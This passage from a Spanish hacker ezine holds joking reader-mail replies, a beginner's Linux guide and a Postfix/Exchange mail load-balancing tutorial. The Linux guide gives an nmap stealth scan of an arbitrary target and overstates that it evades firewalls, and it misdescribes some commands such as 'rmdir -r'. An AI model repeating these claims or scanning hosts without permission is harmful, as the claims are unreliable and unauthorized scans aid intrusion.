equipo hay alguno que bebe vodka como si fuera leche materna... una panda de degenerados vaya... ] _-_-_-__-_-_-_ hola disculpa , el atrevimiento pero me interesa el tema , y estoy muy interesado en aprender. si es algo me puedes ayudar te lo agradecere de ante mano gracias ! se me olvidaba me llama mario [ Aprender... un gran proposito. Aprender que? una gran duda. ] _-_-_-__-_-_-_ Hola me llamo Marian y ante todo quiero deciros que teneis una pagina estupenda. Muchas gracias por intentar ayudarnos a los que como yo no tenemos ni idea y estamos empezando en esto (con mucho entusiasmo eso si), pero asi y todo me cuesta un poco ponerme al dia, aunque espero mejorar. Bueno, voy a lo que os queria preguntar: Estoy escribiendo desde el ordenador de mi novio, porque desde ayer tengo un tio que no para de entrarme en el ordenador y dejarme virus, o gusanos, o lo que mi.. sea. He cerrado todos lo puertos posibles que nos permite el zone alarm y el jammer. Tengo actualizado el zone, y esta es la segundo vez en 15 dias que tengo problemas de virus, lo que me lleva a pensar que conocemos al capullo que lo hace y me da bastante rabia pensar eso. El ordenador me pone algo asi en pantalla como: "win32.funlove.4099virus." ante lo cual le doy al restore y aparece otro y otro y... bueno, ya sabeis la historia del conejito de duracell. Lo cierto es que si pongo la ventana de advertencia en un sitio de la pantalla que no me moleste, puedo seguir haciendo cosas con el ordenador , sin que aparezca cada dos segundo el maldito anuncio, pero el ordenador va mas lento, evidentemente. Que puedo hacer para quitarmelo de encima?. Cuando apago el ordenador me dice que hay 1 usuario conectado e incluso 2. Gracias de antemano por todo y como supongo que no podre utilizar el ordenador en unos dias podeis escribirme al remite de este e-mail. Muchas, muchas gracias por todo. Un abrazo. Marian [ Pues de forma clara, estas infectada por el virus Win32/funlove. Te recomiendo que entres en http://www.pandasoftware.es y te hagas una revision gratis a tu disco duro en busca de virus. ] _-_-_-__-_-_-_ Disculpemen si este no es el lugar, pero quiseira saber de un sitio para bajar un programa que me permita conocer un password de hotmail, estoy en un gran aprieto. Gracias Carlos [ cli mov dx, offset mov ax, bucle sub dx, ax call ir_patras sti ] _-_-_-__-_-_-_ saludos desde mexico: primero que nada un saludo y decirles que su pagina esta de luxe bueno tengo poco que me empece a empapar con lo de los hackers y me interesaria aprender a ser hacker y me agradaria que me asesoraran, les mando saldos y espero su respuesta gracias [ Un hacker es una mala persona. No creo que quieras ser una mala persona. ] _-_-_-__-_-_-_ SOLICITO AYUDA YA QUE UN HACKER SE APODERO DE MI BUZON DE CORREO DE HOTMAIL: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla , LE CAMBIO LA CLAVE Y ESTA HACIENDO DESASTRES CON MIS CONTACTOS, NECESITO ACCEDER A EL PARA CAMBIARLE LA CLAVE O ELIMINARLO... AYUDENME.... [ Es una lastima, pero no puedes hacer nada. Simplemente admite que te han suplantado la personalidad y que vas a necesitar otra nueva. Es hora de plantearte si quieres cambiar o hacer una completamente distinta, pues se te ha dado la posibilidad de elegir. ] [ Casi se me olvida, JB BUCLE ] _-_-_-__-_-_-_ Hola! No se si este es el sitio adecuado para enviar esto, pero creo que vosotros me ayudareis como hackers ke soys. Kiero iniciarme en esto de hackear paginas web y no encuentro un chat en el que poder hablar con personas que esten en mi misma situacion. Os agradeceria muchisimo ke me contestarais Esta es mi pagina web www.gratisweb.com/eltrokolo , si kereis Hackearla me sentiria orgulloso. Si me contestais pongo un link en mi pagina y en la de mis amigos, aunke creo que no lo necesitais. Bueno Hasta pronto. (espero) [ Pues no, he estado preguntando por ahi, y aqui no nos dedicamos a esas cosas. Los que jaquean paginas we son los de attrition y los de OTT. ] _-_-_-__-_-_-_ Hola Necesito el algoritmo de validacion de numeros de tarjetas de credito para implementarlo en un programa. Por favor si lo tienes, pasamelo o si sabes donde conseguirlo dimelo. Gracias y Saludos Postdata: Tu pagina no es nada cutre (No es peloteo). [ Gracias por no pelotear. El algoritmo es publico desde hace 20 años, asi que solo tienes q escarbar un poco en los buscadores. ] _-_-_-__-_-_-_ hola a todos: me imagino que se van a cagar de risa cuando lean este mail, me refiero a mi ignorancia, de todas formas no pierdo nada con probar. mi situacion es la siguiente tengo 23 años y en la puta vida habia tocados una compu hasta hace cosa de cuatro meses y no puedo parar, me encanta y estoy continuamente buscando mas informacion, quiero aprender todo lo que pueda. bien el tema es que me puse a leer sus articulos y no entiendo un carajo. por donde puedo empezar? que son todos esos garabatos que ponen? para que sirven? etc. lo que me puedan dar sera bienvenido, muy bienvenido. desde ya muchas gracias por su tiempo. pd: no se si sirve de algo pero mi maquina es una pentium 4 con un disco de 30 y 128 ram. tengo windows 98. chau. [ Nu se que es lo que querras aprender, pero a los 4 meses de tener un ordenador, lo mas que hacia era jugar al X-Com (gran juego) y aprender a manejar el arj. Para aprender mas, leete la ezine, que pa eso estamos. Que garabatos?. ] _-_-_-__-_-_-_ hola, tengo un problema y quiza ustedes pueden ayudarme, resulta que hay un tipo o tipa que se yo que me esta molestadno bastante y quisiera saber quien es, la verdad yo no se nada de esto de hackers o cracker, pero me han dicho que ustedes pueden ayudarme a investigar su pasword y ver si en su mail puedo encontrar algo de informacion, o incluso pueden saber de que maquina se envio el mail, la ubicacion, quiero saber si esto es cierto y si pueden ayudarme, de verdad estoy desesperada, espero su respuesta lo mas pronto que puedan, de antemano gracias [ Te han recomendado mal. Nosotros solo somos estudiantes zampabollos que no salimos de casa y nos quedamos encerrados chateando y conspirando contra los ircops de la red, para hacer un golpe de estado y hacer que Scytale vuelva con todo su poder. ] 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x13 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Introduccion a Linux ]-================================================== =-[ por HuFaKlF ]-=========================================================== Hi!. Primero de todo me presento, soy HuFaKlF y esta es mi primera ( espero no la ultima ) colaboracion a NetSearch Ezine. En este articulo va a tratar de manera mas o menos concisa de "LiNUX", un gran sistema operativo, pero que todavia mucha gente desconoce o ha oido hablar, pero por no saber o no intentar saber su funcionamiento y manejo, sigue soportando los famosos productos de Moco$oft, y pagando claro... umm creo que no dije que Linux es totalmente gratis ;). Pues para disipar todas esas dudas acerca de Linux esta hecho este pequeño texto, en el pretendo no extenderme en cosas "banales" e irme a lo practico y a lo realmente util, es decir de lo que un usuario normal puede sacar provecho a diario de su maquina Linux. INTRODUCCION A LINUX En cualquier sistema Unix, del cual deriva el Linux, tenemos que tener claro que hay un superusuario que es el que maneja al 100% el sistema, el cual tiene acceso y derechos acerca de todos los dispositivos, y otros serian usuarios normales que tienen accesos "limitados" al sistema. El superusuario es lo que se denomina "root" y como digo no existen limites para el. Si conseguimos acceder a una maquina con privilegios de root no tendremos limites ;). Aunque parezca lo contrario debemos siempre en nuestra maquina estar como usuario normal, sin privilegios de ningun tipo, ya que en un despiste podriamos dañar el sistema, solo utilizando el superusuario root para realizar alguna configuracion excepcional, esta es alguna de las razones de no existir apenas virus en linux, a diferencia de windows, el posible virus, si estamos en una sesion normal como usuario no tendria posibilidad ninguna para acceder a algun fichero o dispositivo critico del sistema. Otra de las grandes facetas de linux es la de internet, bien es cierto que linux es un sistema operativo creado practicamente con la ayuda de cientos de hackers y personas apasionadas por los sistemas a traves de internet, y es 100% libre en codigo fuente, lo que lo hace todavia mas seguro y por supuesto adaptable a nuestras necesidades. COMO INSTALAR POR PRIMERA VEZ LINUX Lo primero que tenemos que hacer es un "backup" de los datos que tenemos en windows, aqunque no es estrictamente necesario. Un programa muy recomendable ( uno de los mejores diria yo ) es el fips. El fips se puede conseguir en internet y en numerosos CD de alguna distribucion de Linux. Es muy sencillo de usar y no se hechan a perder los datos que tengamos en la particion de windows, simplemente especificamos los MB y nos hace una particion totalmente independiente, que posteriormente tendremos que "transformar" a ext2, que es el sistema de ficheros propio de Linux. Otra particion necesaria es la de swap, de unos 60 MB sera sufuciente, funcionara como memoria de intercambio, como si fuera una "segunda memoria RAM". Una vez hecho esto y con nuestro CD de alguna distribucion de Linux iniciamos el ordenador y podemos hacer de dos maneras: una primera y mas practica es iniciar el cd desde la BIOS, si no es demasido antigua seguro que soporta esta opcion, la otra es crear una imagen en un disquete de 3.5", encontraremos la imagen en el cd de la distro (ocupa 1.40 MB) y la pasamos a disquete con el RaWrite que seguro que tambien viene en el cd de la distro ;). Llegados a este punto solo nos falta seguir las opciones de instalacion que varian bastante de una distro a otra, podemos ver un entorno grafico de facil configuracion como son las distribuciones de Mandrake o SuSE, o un entorno en modo texto tipo Debian o Red Hat, menos amigable y no muy recomendable para novatos. LOS DIRECTORIOS EN LINUX Hay un directorio principal que seria el directorio raiz ( tambien llamado root, ojo no confundirse con el superusuario ;)) que se representa con "/" , a partir de ahi se representan los demas directorios, p ej. /usr , /etc , /home, /root, /bin , /sbin, /dev, /tmp, etc... El directorio /usr contiene directorios disponibles para todos los usuarios, repletos de utilidades, documentacion, juegos, etc..., el directorio /etc contiene utilidades orientadas a la administracion del sistema y datos de configuracion, el directorio /home es usado para contener los directorios de los usuarios normales, el directorio /root como podeis imaginar es el directorio del superusuario (root). En el directorio /bin se almacenan gran cantidad de programas y utilidades, en el /sbin lo mismo que el anterior pero orientadas al superusuario. El directorio /dev contiene todos los dispositivos de comunicaciones, unidades de almacenamiento, impresoras,etc..., ya que los trata como si fuesen archivos (asi normalmente nuestro disco duro sera /dev/hda, la unidad de cdrom /dev/hdb, la disqutera /dev/fd0, etc...), y el directorio /tmp es donde se almacenan archivos temporales. NUESTRO ESPACIO DE TRABAJO. LAS CONSOLAS En Linux tenemos a nuestra disposicion 6 resplandecientes consolas, donde podemos introducir los datos y las instrucciones en la linea de comandos o el entorno grafico tambien llamado "X Window". La forma de acceder es la siguiente: "Crtl+Alt+Fx", donde Fx se refiere a un numero del 1 al 6, donde tendremos el aceeso a las 6 consolas. Al entorno grafico accederiamos con la siguiente secuencia: "Crtl+Alt+F7", podiendo asi alternar sesiones de consola y entorno grafico (donde tambien tenemos los "Xterm" con linea de comandos tambien pero en entorno grafico, similar cuando abrimos una ventana de DOS en Windows) como sistema multitarea que es (ademas de multiusuario ;) ), disfrutando de una flexibilidad de procesos nunca soñados en Windows. LOS COMANDOS Esta parte es muy importante. Aunque estemos acostumbrados a windows que todo hace sin añadirle ningun comando tipo copy, rd, etc... es muy importante conocer los comandos de Linux, aunque con el entorno grafico de manera similar a windows no haria falta saberlos... en fin pero la consola es nuestra amiga mas fiel, recuerda... ;). A continuacion una lista de los comandos mas utilizados en Linux: cd , sirve para entrar en directorios, con "cd .." avanzamos al directorio inmediatamente inferior. mkdir , sirve para hacer directorios ( mkdir nombre_directorio). rmdir , borra el directorio si este esta vacio ( con rmdir -r borra todo ). cp , copia archivos, ( cp origen destino ). rm , borra archivos ( tambien directorios con la opcion -r ). ln , hace enlaces ( con la opcion ln -s hace enlaces simbolicos -son los mas frecuentes-). ls , lista los archivos y directorios ( con la opcion -l nos muestra los permisos y con la opcion -a nos mustra los archivos ocultos -los precedidos por punto "."). chmod + opcion , cambia los permisos de un archivo o carpeta. man , es el manual "en linea" de Linux. Si necesitamos ayuda sobre un comando, una opcion, cualquier cosa, por ejemplo del comando "cp" hariamos "man cp" y nos saldria gran cantidad de informacion del comando con todas las opciones posibles... vamos, vamos que no solo en el Irc esta la informacion ;). LOS DIFERENTES FORMATOS DE LINUX En Linux por supuesto no existen los ejecutables *.exe, pero si que existen ejecutables. Lo que mas nos vamos a encontrar es un archivo comprimido siguiendo el siguiente esquema: archivo.tar.gz. En este ejemplo tenemos la extension *.tar.gz, lo que quiere decir que esta comprimido ( la extension gz, que quiere decir que esta comprimido con Gzip ) y la extension tar que quiere decir que hay varios archivos "empaquetados" en uno. Cuando nos encontremos con este tipo de archivos nos ponemos en nuestra flamante linea de comandos y escribimos: tar xzvf archivo.tar.gz, esto descomprimira ese archivo metiendo todos los componentes en una carpeta. Generalmente despues tendremos que compilar eses archivos ya que son solo fuentes, generalmente en un archivo llamado INSTALL o en un README nos diga el procedimiento a seguir, que en muchos casos se puede parecer a esto: ./configure , make , make install, esto despues de meternos en la carpeta generada con el comando "cd". Otros paquetes muy utilizados son los RPM, son paquetes ya compilados. Si nos encontramos en las X solo con hacer un clic ya lo instala el gestor de paquetes rpm de la distribucion correspondiente, y desde consola lo instalamos simplemente haciendo: rpm -i archivo.rpm., este sistema de paquetes es originario de Red Hat pero lo han tomado la gran mayoria de distros a excepcion de Debian que tiene su equivalente en los *.deb que se instalan en Debian asi: dpkg -i paquete.deb. Debian es una distribucion tan buena como particular por lo que no voy a profundizar en su sistema apt-get ni similares ;). Otro formato de ficheros frecuente en Linux es el *.src.rpm. Para descomprimirlo hariamos primero: rpm -ivh archivo.src.rpm, lo que dejaria el source generalmente en la carpeta /usr/src/"algo" dependiendo la distribucion de Linux que estemos utilizando. Si nosotros queremos hacer un archivo *.tar.gz, es decir hacer un paquete de archivos y a la vez comprimirlos pues hariamos de la siguiente manera: tar cvf nombre.tar archivo1 archivo 2 archivo3....., asi creariamos un nombre.tar con eses archivos "empaquetados", y con gzip -9 nombre.tar se comprimiria ahorrando espacio en disco ( el modificador -9 indica que utilice el factor maximo de compresion), quedando finalmente: "nombre.tar.gz", que descomprimiriamos como dijimos anteriormente. Una cosa a tener en cuenta en Linux, es la manera de ejecutar los ejecutables ( valga la redundancia ;) ) en Linux. Si tenemos un ejecutable ( que puede ser un nombre o bien una extension *.bin ) para ejecutarlo desde la consola como digo, simplemente añadiriamos "./" antes del nombre del ejecutable, p. ej. si quisieramos ejecutar el browser mozilla que esta en "usr/bin/mozilla", una manera de ejecutarlo seria abriendo un Xterm ( de lo contrario al ejecutarlo en una consola sin entorno grafico "X" daria error, ya que el browser necesita el entorno grafico ;) ), hariamos una vez entrados en el directorio correspondiente "./mozilla" y ya ejecutariamos el programa. LA RED DE REDES EN NUESTRA MAQUINA LINUX Como dije anteriormente Linux esta desarrollado mayoritariamente a traves de Internet y se siente como pez en el agua en nuestra red preferida, ummm... internet dije que se se llama verdad? ;). Muchas son las utilidades de Linux que vienen desarrolladas hacia internet, hablar de ellas aqui con detalle seria cosa de muchas mas hojas de las que disponemos, pero podemos citar al rey de los servidores de internet "Apache", servidores de ftp como pueden ser "ProFtpd" "Wu-Ftpd", servidores de telnet como pueden ser "Telnetd", conexiones seguras de telnet "Ssh". Por supuesto que tenemos tambien la posibilidad de acceder a otras maquinas a traves de ftp y de telnet en nuestro Linux, es muy sencillo, aqui os voy a explicar como hacerlo de una manera muy breve y obvia, pero si no teneis mucha idea os sera de gran ayuda ( para los "renegados" que todavia utilizan, como era..... guindous? ;), pos tambien sirve para eso...). Si queremos aceder a un ftp, primero tenemos que tener clarisimo es que el puerto del ftp es el 21 ( aunque de no ponerlo nos lo definira por defecto), entonces hariamos: ftp ip_destino 21 Como vemos ponemos el comando ftp dira a la maquina que vamos a establecer una conexion ftp, despues le indicamos la direccion a la que dirijirse y finalmente el puerto. Nos va pedir que nos identifiquemos, pondremos de login "anonymous" y de contraseña nuestro e-mail ( valen falsos ). Una vez dentro listamos lo los directorios y ficheros que hay con "ls", entramos en los directorios con el comando "cd", si quisieramos coger y bajarnos algo de ese ftp utilizariamos el comando "get archivo" y muchas cosas mas. Si escribimos "help" o "?" nos saldran todas las opciones disponibles... Para establecer una conexion telnet ( el puerto por defecto es el 23 ) pues hariamos los siguiente: telnet ip_destino 23 Aqui lo mismo que antes solo que las conexiones anonimas no funcionan :(. Telnet es muy flexible, pudiendo utilizarlo para mandar e-mails, en este caso especificando los puertos, en vez de 23, serian 110 del pop3 y 25 del smtp, etc... y muchas cosas mas... ponle imaginacion ;). Una utilidad tambien muy importante es el "nmap", sirve para hacer escaneos, y saber los puertos abiertos que tiene una maquina, su sistema operativo y demas datos adicionales. Y lo mas importante no da alerta a los fire si es que la maquina a la que se lo hacemos lo tiene. Este comando "nmap" puede ir ( y debe ) acompañado de opciones, una que va bastante bien es la siguiente: nmap -P0 -sS -O -v ip_destino Aqui hace un escaneo bastante completo, diciendo el SO que tiene la maquina, los puertos abiertos, a que se corresponde cada puerto, etc... DONDE BUSCAR LA INFORMACION Existen gran cantidad de paginas referidas al mundo Linux en español, aqui unas cuantas direcciones que seran de gran utilidad: http://www.google.com ; es un gran buscador, cualquier cosa referente a Linux antes de darnos por vencidos acudiremos aqui. http://www.freshmeat.net ; tambien es un gran buscador pero de programas referidos a Linux, cualquier programa relacionado con linux seguro que lo encontraremos aqui. http://www.rpmfind.net ; es el buscador de formato RPM por excelancia, si queremos encontrar un programa en el formato rpm, ya compilado, aqui lo encontraras. Es una de las paginas mas visitadas por los usuarios de Linux. http://www.lucas.hispalinux.es ; traduccion de documentos Linux al español del Proyesto Lucas. http://www.insflug.org ; inmensa cantidad de COMOs y y FAQs, en español, si buscas informacion sobre algo referente al sistema Linux, como configurar programas, aplicaciones.. aqui siempre encontraras manuales con algo interesante. DESPEDIDA Pues esto fue todo. Quedan aun muchas cosas que explicar y hacer referencia pero el espacio del que dispongo no es tan extenso como todos quisieramos. Espero que muchas dudas acerca sobre Linux fueran solucionadas, aunque si ya eres un experto esto no te habra sido de gran ayuda. En el proximo numero quiza profundicemos mas en el tema ;). Hasta la proxima!. HuFaKlF Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x14 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Curso de Virii (Virus Inform.) ]-======================================== =-[ por Wintermute ]-======================================================== Si quieres leer este genial tutorial sobre la programacion de virus informaticos es muy sencillo, solo tienes que coger tu navegador web y visualizar el fichero './0x14/index.htm'. Un saludo. El Editor 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x15 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Balanceo de carga entre SMTP's ]-======================================== =-[ por |CoDeX| ]-=========================================================== Con la implementacion de un balanceo entre servidores conseguiremos principalmente que la carga de uso de cpu y memoria en ambas maquinas se reduzca, que los clientes puedan seguir mandando correo en caso que alguna de las maquinas se quedara sin conexion o sin dicho servicio y que no hubiera perdidas de correo. En el caso que se plantea, se ha llevado a cabo un balanceo para el dominio microwolf.net obteniendo resultados optimos. Para ello contabamos con un servidor Linux con el servidor de correo SMTP PostFix y con un NT con servidor de correo SMTP y POP, ( Microsoft Exchange Internet Mail Service 5.5.2650.21 y Microsoft Exchange POP3 server version 5.5.2653.22 ). A continuacion se explican los pasos a realizar: 1.- Realizar los cambios adecuados en el archivo de zona para el dominio microwolf.net, de forma que carlos.microwolf.net apunten a las IP's 212.79.132.10 (NT) y a 212.79.132.11 (Linux) para que al hacer una solicitud de resolucion del host carlos.microwolf.net, nos devuelva una IP u otra. El archivo de zona contendria lo siguiente: codex@networking: /var/named]$ cat microwolf.net.hosts ; microwolf.net ; De |CoDeX| ; esto se supone que va en la misma linea microwolf.net. IN SOA nodo.networking-center.org. codex.networking-center.org. ( 2001051700 2400 1200 86400 3600 ) microwolf.net. IN NS nodo.networking-center.org. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Servidores NS. ; Servidores MX. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; @ NS nodo.networking-center.org. MX 10 carlos.microwolf.net. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Servicios con IP Asignada ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; nodo A 193.243.244.6 www A 193.243.244.7 ftp A 193.243.244.7 correo A 212.79.132.10 carlos A 212.79.132.10 carlos A 212.79.132.11 smtp IN CNAME carlos.microwolf.net. pop IN CNAME carlos.microwolf.net. De todo este archivo de zona, lo que mas nos interesa son los registros de correo, carlos, smtp y pop, asi como el registro MX. Una vez hecho esto, tendriamos que hacer que el servidor de DNS al que apunta el dominio en cuestion, actualizara las zonas. Se entiende por zona a cada uno de los dominios que estan dados de alta en dicho servidor DNS. Tambien habria que esperar a que el resto de servidores de DNS de Internet actualizaran su cache en caso que ya tuviera cacheado el dominio en cuestion. 2.- Comprobamos que la resolucion de carlos.microwolf.net se hace correctamente y ademas nos contesta de forma aleatoria con una IP u otra. Para llevar a cabo esta comprobacion, haremos uso del comando nslookup y del comando ping, a traves del cual, mandaremos en cada ocasion un paquete icmp a carlos.microwolf.net ( opcion -c 1 ). codex@afrodita:~ > nslookup carlos.microwolf.net Server: seux005.supercable.es Address: 212.79.128.18 Non-authoritative answer: Name: carlos.microwolf.net Addresses: 212.79.132.11, 212.79.132.10 Con el nslookup comprobamos si los registros tipo A de 'carlos' los hemos llevado a cabo bien. Ahora pasamos a mandar los paquetes ICMP. codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.274 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.274/1.274/1.274 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.357 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.357/1.357/1.357 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.11): 56 data bytes 64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.921 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.921/0.921/0.921 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.276 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.276/1.276/1.276 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.11): 56 data bytes 64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.842 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.842/0.842/0.842 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.265 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.265/1.265/1.265 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.11): 56 data bytes 64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.832 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.832/0.832/0.832 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.261 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.261/1.261/1.261 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.11): 56 data bytes 64 bytes from 212.79.132.11: icmp_seq=0 ttl=255 time=0.825 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.825/0.825/0.825 ms codex@afrodita:~ > ping -c 1 carlos.microwolf.net PING carlos.microwolf.net (212.79.132.10): 56 data bytes 64 bytes from 212.79.132.10: icmp_seq=0 ttl=128 time=1.252 ms --- carlos.microwolf.net ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 1.252/1.252/1.252 ms Como podemos observar, parte del objetivo lo tenemos cumplido, ya que en unas ocasiones nos ha resulto la 212.79.132.10 y en otras la 212.79.132.11. Concretamente, de los 10 ping realizados, el host carlos.microwolf.net nos ha contestado como la 212.79.132.10 en 6 ocasiones y como 212.79.132.11 en 4 de las ocasiones. Segun estos datos, el balanceo ha sido de 60% / 40%, lo cual es muy optimo para el metodo elegido ya que esto mismo, por norma general, se hace a traves de componentes de hardware preparados especificamente para ello y con posibilidad de configurarle que tanto por ciento queremos para cada maquina. 3.- El paso siguiente seria permitir el relay para microwolf.net tanto en el Linux como en el NT. En el servidor SMTP del Linux deberemos añadir la linea microwolf.net en el archivo relay_domains o en su defecto, en el archivo que hayamos definidos nosotros para ello. echo microwolf.net >> /etc/postfix/relay_domains En el Exchange del NT o bien en cualquier otro programa que usemos para ello, deberemos permitir tambien el relay y ponerlo en la tabla de dominios enrutados como entrada (inbound). 4.- El siguiente paso sera hacer que todo el correo que llegue al SMTP del Linux y que vaya dirigido a cualquier usuario del dominio microwolf.net, se reenvie al SMTP del NT, ya que es este quien tiene los buzones POP. Para ello, deberemos hacer uso del archivo transport. Lo primero que deberemos hacer es indicarle al postfix en el main.cf que vamos a usar dicho archivo. Añadiremos la siguiente linea en el /etc/postfix/main.cf: transport_maps = hash:/etc/postfix/transport Ahora añadir las siguientes lineas en el /etc/postfix/transport: codex@afrodita:~ > cat /etc/postfix/transport undersec.com local: localhost local: microwolf.net smtp:correo.microwolf.net:25 Si es la primera vez que hacemos uso de este archivo, las 3 lineas de ese archivo son de vital importancia ya que como dije anteriormente, aqui diremos hacia donde reenviar el correo que vaya hacia un determinado dominio / subdominio y por tanto debemos indicar tambien que si va dirigido a @localhost o @undersec.com, los buzones estan en esta misma maquina ( local: ). En cambio, si va dirigido a @microwolf.net le indicamos que lo mande a la IP a la que apunta el host correo.microwolf.net, que si consultais el archivo de zona del DNS, apunta a la 212.79.132.10, es decir, al NT. Una cosa muy importante a tener en cuenta es que NO se puede poner directamente la direccion IP de la maquina. Forma incorrecta: microwolf.net smtp:212.79.132.10:25 Forma correcta: microwolf.net smtp:correo.microwolf.net:25 Una vez editado el archivo /etc/postfix/transport deberemos ejecutar el siguiente comando para crear el transport.db y que realmente tenga efecto lo realizado. root@afrodita:/ > postmap /etc/postfix/transport 5.- Como siempre hay que intentar ponerse en el peor de los casos, eso es lo que hemos hecho puesto que hemos definido un mismo Host para el correo SMTP y el correo POP, por tanto, deberemos indicarle al Linux que si recibe una peticion al puerto 110, esa peticion la debe redireccionar a la maquina NT, que es donde se encuentra el correo POP y por tanto, los buzones de los usuarios. Para llevar a cabo eso, usaremos iptables: # Redireccionar conexiones al 110 de afrodita hacia el 110 del NT iptables -t nat -A PREROUTING -i eth0 -p tcp -d 212.79.132.11 --dport 110 -j DNAT --to 212.79.132.10:110 iptables -t nat -A PREROUTING -i eth0 -p udp -d 212.79.132.11 --dport 110 -j DNAT --to 212.79.132.10:110 # Hacemos el masquerade hacia el NT para la redireccion del puerto 110 # En caso que el NT tuviera como gateway a afrodita, no seria necesario. iptables -t nat -A POSTROUTING -o eth0 -d 212.79.132.10 -j MASQUERADE # Utilizado para el redireccionamiento hacia el 110 del NT # ya que es necesario el reenvio de paquetes entre las maquinas iptables -t filter -A FORWARD -p tcp -s 212.79.132.10 --sport 110 -j ACCEPT iptables -t filter -A FORWARD -p udp -s 212.79.132.10 --sport 110 -j ACCEPT iptables -t filter -A FORWARD -p tcp -d 212.79.132.10 --dport 110 -j ACCEPT iptables -t filter -A FORWARD -p udp -d 212.79.132.10 --dport 110 -j ACCEPT Esto no hubiera sido necesario si en el archivo de zona del DNS estuvieran los siguientes registros: smtp IN CNAME carlos.microwolf.net. pop A 212.79.132.10 6.- Una cosa importante a tener en consideracion es que un usuario pueda mandar un correo usando cualquier conexion a internet. En principio, tal y como esta configurado el servidor smtp, no es viable ya que unicamente se permite el envio de correo por parte del usuario, si su ip es del rango 212.79.132.0/24 o va dirigido a dominios dados de alta en nuestro servidor. Esto se hace para evitar los spam, es decir, el envio de correo masivo. Para permitir lo dicho al principio, hariamos lo siguiente: En el /etc/postfix/main.cf añadimos: smtpd_recipient_restrictions = permit_mynetworks check_sender_access hash:/etc/postfix/sender_access check_relay_domains Ahora crearemos el archivo /etc/postfix/sender_access, que contendra las direcciones de correo de remite que si pueden mandar correo en caso de cumplir alguna de las reglas anti spam del servidor. Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla OK Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla OK Por supuesto esta no es la mejor de las formas de hacerlo. Lo ideal seria forzando al usuario a autentificarse. Una vez creado y grabado el fichero, ejecutaremos: postmap sender_access y se nos creara el respectivo sender_access.db Ahora lo unico que nos quedaria es cargar la nueva configuracion y lo conseguimos del siguiente modo: /etc/init.d/postfix reload Bueno señores, ahora es cuando os toca a vosotros seguir investigando sobre esto y si teneis oportunidad no dudeis en ponerlo en practica, que es como mejor se aprenden las cosas. Hasta otra amigos. 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x16 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Introduccion a JunOS ]-================================================== =-[ por TaSeH 